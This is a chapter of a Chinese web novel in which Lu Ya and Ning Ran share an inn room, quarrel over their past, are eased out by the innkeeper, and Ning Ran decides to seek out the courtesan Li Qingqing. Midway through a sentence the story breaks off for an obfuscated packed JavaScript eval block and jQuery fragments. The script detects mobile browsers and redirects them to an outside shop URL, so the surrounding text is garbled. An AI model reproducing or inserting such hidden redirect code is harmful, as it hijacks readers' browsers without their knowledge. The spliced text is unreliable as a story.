第十七章
陆涯的人生,虽然有点惨,但也有点顺。
他自小就被抛弃,在孤儿院长大,从来没感受过什么家庭关怀和父母之爱,也曾被欺凌过,这些确实算的上是悲惨,但是从别的方面来看,他过的又非常顺。
因为感情淡漠,所以不好的童年经历没有给他留下什么心理伤害;成绩优异,拿了各种奖学金,毕业后进入律师事务所,没过多久就成为了合伙人;他没有经历过那种没有钱,连住在哪都不知道的生活,他想要的都通过努力得到了。
除了宁然。
面对眼下的情况,他确实有些茫然,宁然看着他那个样子,觉得好笑,让他先坐下,给他倒茶。
“你不是个官吗?虽然官职大小还不确定,但好歹是个公务员呢,肯定有工资的。”
说起官职,陆涯想起来自己拿的那个包袱,打开之后看到了两件官服和一本册子,册子上面写着与他婚假有关的事,两人凑在一起研究了一下,得出来一个结论。
虽然工资多少还不清楚,但是陆涯明天得去上班了。
“没事,你明天好好去上班吧,我来解决钱的事。”
“你要怎么解决?”
“暂时还没想好,但是车到山前必有路,总会有办法的。最重要的是我们现在在一起,我们都很安全,我们还获得了自由,这么多的好事,值得我们开心一下,至于明天如何,明天再说。”
宁然端起茶杯,递给陆涯,跟他碰了一下杯。
叮~
清脆的声音在房间里散开,看着宁然脸上淡淡的笑意,陆涯不自觉也跟着放松下来。
今天先开心,至于明天如何,明天再说。
神经紧绷了多日,现在跟陆涯在一起了,宁然感觉到放松又安心,但同时也格外的困倦疲累,洗漱之后,她准备好好睡一觉。
只有一张床,但是有两个人。
“我们俩现在是同事,睡在一张床上,好像不太合适吧......”陆涯主动说。
“明天有可能要睡大街了,趁着能享受的时候好好享受吧,再说这床这么大,我伸开了胳膊都碰不着你,反正我是无所谓,你要是介意,你就自己找地方睡吧,我好多天没有睡好了,我可要睡舒服的床。”
你都无所谓,那我更无所谓了,陆涯毫不迟疑的跟着也爬上了床。
躺在柔软的大床上,宁然感慨有钱真好,不管在什么时代,只要有钱就不会过得很差,等她回去了,要好好努力,挣更多的钱。
“可是你并不是贪图物质享受的人,你挣了那么多钱,都给别人花了。”
“把钱给我认为值得的人花,对我来说就是享受啊。”
陆涯知道宁然一直在默默的帮助很多人,是一个有正义感,心怀天下,乐于向世间播撒爱的人。
只不过现在到他这就不播也不撒了,真是小气......
这段时间宁然三番五次的把话挑明了拒绝他,还说自己病了,他如果还不识趣,那就实在是太没意思了......
唉,没意思,没意思,系统没意思,游戏没意思,人生也没意思,一切统统都没意思。
嗯?她这是......什么意思?
很快陷入熟睡的宁然感觉自己又被带回到了那个乡野之中,又黑又冷,还有狗在追她,她又惊又怕,在心里默念陆涯的名字。
“陆涯......陆涯......”
睡前宁然特意嘱咐陆涯不要把蜡烛吹灭,因此借着烛光,陆涯能看到宁然睡得并不安稳,而且还在不停念着他的名字。
同事好像做噩梦了,还在叫他的名字,他,也不能不管吧,毕竟同事一场呢......
“我在呢。”
宁然听到了陆涯的声音,伸出手去还触摸到了他温暖的身体,欣喜不已,紧紧抱住了他。
陆涯身体僵硬,不知道该怎么办,发现宁然的呼吸开始变得绵长安稳之后,他把举着的手放下,轻轻拍着她的背。
清晨,宁然先醒,发现自己跟陆涯抱在一起,下意识的一把把他推开了。
跟着一起醒过来的陆涯,看见宁然略带审视的眼神,语气不甚友善的把昨晚的情形解释给宁然听。
“你爱信不信,反正我现在在你眼里已经是一个死缠烂打听不懂话不识趣的前男友了,你再多加一条趁人之危也无所谓。”
“不是......我没那个意思。”
“你是什么意思都无所谓,宁然,我想过了,我之所以放不下你,也不一定真的是因为还爱着你,我可能只是不甘心,不甘心你说来就来说走就走,让我幸福又让我痛苦......凭什么你想怎么样就怎么样?我后悔那时候答应了你让你走入我的生活,但是一切已经无法改变了,我现在放不下你不代表以后也不可以。”
“当然,我相信——”
“你相不相信无所谓。”陆涯下了床,一边穿衣服一边说:“就算我们之间没有情了,做人最基本的义也还在,你昨天晚上需要我我就抱住了你,我并不认为我做错了。以后可能还会有很多需要我们彼此安慰,互相扶持的时刻,我不希望你把那些都看成是我想跟你复合才做的,因为我自认我自己并不是一个卑劣的人......”
宁然张口想解释但又觉得多余,她起初确实以为是陆涯主动抱住她的,可是陆涯一解释她就完全相信了,但不管怎么说,她确实算是侮辱了眼前的人......
她真诚道歉,陆涯背对着她不看她,过了好一会,终究还是嗯了一声。
就算没有了情,义也还在,她十分认同这句话,她确实也不该那么自恋,把陆涯所有示好的举动都当成是在求复合,陆涯本来就是一个很好的人,她对此深信不疑。
以后她不能再这么敏感或者说狭隘了,他们还是可以做朋友的呢,她向陆涯提议。
“不是同事吗?又要做朋友了?你变得太快了,我跟不上。”
好吧,应该还在气着呢,宁然穿好衣服,去洗漱了。
两人整理完毕,准备下楼吃早饭,没想到掌柜的亲自送来了早饭,笑眯眯的跟他们说早上好,问他们休息的可好,两人点了点头,心里都觉得有点不对劲。
果然,很快掌柜的就说相府来人了,虽然没有明说,但是暗示天香楼不要接待他们。
“少爷,少夫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17651999|206623||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
人,我们天香楼打开门做生意,自然是欢迎八方来客的,也不会真的把两位赶出去,只是这事......”
宁然笑了一下,说明白,他们待会就走,不会让他为难,掌柜的又拿出账单,说相府也不愿意支付那些了,陆涯表情平静的说他会付的,只是可能需要一点时间,掌柜的笑着说不急,还说早餐是免费的,让他们慢慢享用。
真是个会做生意的,怪不得生意一直这么好呢,宁然忍不住夸了两句。
陆涯的表情就没有那么轻松了,他想起昨天签的账单,突然很后悔之前为什么拖了那么久不来结账,为什么都堆到一起了啊!
那些菜也不全是他一个人吃的,他祖母也跟他一起吃过,甚至他祖父也吃了,为什么都算在他一个人头上啊!
“快点吃饭吧,你今天还要去上班呢。”
上班?对了,还要上班,等一下!
“我记得这里离大理寺还有段距离呢,我怎么去上班啊?”
没有马,也没钱坐马车,这里也没有公共交通工具,他怎么去上班呢?
“那你就多吃点,走着去吧......”
时间来不及了,陆涯也没时间抱怨了,一边抓紧时间吃饭一边问宁然接下来怎么办,她要去哪,他们晚上住哪等等,宁然让他安心,说她会解决的。
可能是因为宁然实在太淡定了,陆涯不自觉的也被感染,平静了不少。
这就是领导者的魅力吗?不愧是宁总。
吃完饭换上官服以后,两人下楼,宁然感谢了一番掌柜的,说他们会尽快来结账,掌柜的笑着把他们送出了门。
楼下吃饭的,街上做生意的,还有来往的行人都忍不住看向两人,宁然忍不住想,像他们俩这样的话题人物,要是在现代,就意味着掌握了巨大的流量,和巨大的财富。
可惜了啊......
两人的行李只有陆涯怀里的一个小包袱,装着他换下来的常服,他要去上班,总不能抱着衣服去,转身要交给宁然,宁然却让他晚点再给她,说她要跟他一起去大理寺。
“你去那里干什么?”
“送你上班啊。”
“你为什么要送我上班?”
“那我也没有别的事做啊,总不能站在街上发呆吧。”
是有点道理,但陆涯还是觉得奇怪,他要再问,宁然却突然换了话题,问起了李轻轻的事。
不知道为什么,陆涯莫名有点心虚,但很快他又提醒自己保持清醒,把自己知道的关于相府公子陆涯和醉春楼花魁李轻轻的故事都告诉了宁然。
听完两人之间的情感纠葛之后,宁然对相府公子陆涯的行为做出如下评价:
“哇,好执着的舔狗,梦男,私生粉,和榜一大哥啊。”
陆涯捂着心口,感觉自己也中箭了。
他觉得宁然的话说的有点太重了,忍不住为那个痴情的公子哥陆涯辩解,说他也只是情窦初开,情深难抑。
宁然哦了一声,没怎么留意陆涯到底说了什么,她正在想别的事。
“我要去找她。”宁然突然说。
“谁?”
“李轻轻。”